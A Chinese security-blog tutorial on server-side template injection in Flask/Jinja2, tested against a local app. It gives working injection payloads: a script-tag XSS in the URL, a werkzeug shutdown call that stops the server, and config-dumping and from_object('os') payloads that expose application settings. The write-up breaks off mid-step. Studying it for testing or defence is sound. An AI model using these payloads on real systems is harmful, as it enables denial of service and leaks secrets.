释放双眼,带上耳机,听听看~!

0x1 前言

如果你还没听说过SSTI(服务端模版注入),或者对其还不够了解,在此之前建议去阅读一下James Kettle写的一篇 文章 问题出在开发者定义一个404错误页面,该开发者选择使用字符串格式化将URL动态添加到模版字符串中并返回到页面中,用户对模板是可控的。

0x2 测试步骤

定义一个错误页面。

定义了一个模板字符串。

使用格式化字符串的方式将URL动态添加到模版字符串中并返回在页面上。

用户对模板是可控的。

3754421092
470535640

触发一个XSS

http://127.0.0.1:5000/<script>alert(/xss/)</script>

JavaScript

Copy

3183843198

Jinjan2 基础语法

{% ... %}

{{ ... }}

{# ... #}

Django/Jinja2

Copy

模版引擎成功解析

http://127.0.0.1:5000/aaa{{2+2}}

Django/Jinja2

Copy

376381271

鸡肋拒绝服务攻击

request 是Flask模版的一个全局对象,其代表 “当前请求对象(flask.request)”,在request 对象中有一个environ对象名。

request.environ 对象是一个与服务器环境相关的对象字典,字典中一个名为 shutdown_server 的方法名分配的键为 werkzeug.server.shutdown 。

注射 {{ request.environ['werkzeug.server.shutdown']() }} 会造成拒绝服务。


Python

Copy

获取配置项目信息

config 也是 Flask模版中的一个全局对象,它包含了所有应用程序的配置值。

{{ config.items() }}    // 查看配置项目的信息     

输入:http://127.0.0.1:5000/a{{ config.items() }}


Python

Copy

更多详情链接:http://www.pythondoc.com/flask/config.html

4215062806
2452250389

config是一个类字典对象,它的子类包含很多方法:from_envvar, from_object, from_pyfile, root_path。

Flask/config.py

def from_object(self, obj):

Python

Copy

1504332432
1. from_object  遍历新加模块中的所有大写的变量的属性并添加属性 

2. 并且这些添加到config对象的属性都会维持他们本来的类型

3. 验证:我们将 {{ config.items() }} 注入到存在SSTI漏洞的应用中,注意当前配置条目

4. 注入  {{ config.from_object('os') }}。这会向config对象添加os库中所有大写变量的属性

5. 再次查看  {{ config.items() }}     ;    os 模块中大写变量的属性成功添加属性cf
WEB安全安全独秀圈数据安全质量好文

MySQL 注入备忘录

2020-4-26 19:18:04

APT情报WEB安全安全工具安全独秀圈质量好文

FOFA-API开发实例

2020-4-27 11:20:22

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
有新私信 私信列表
搜索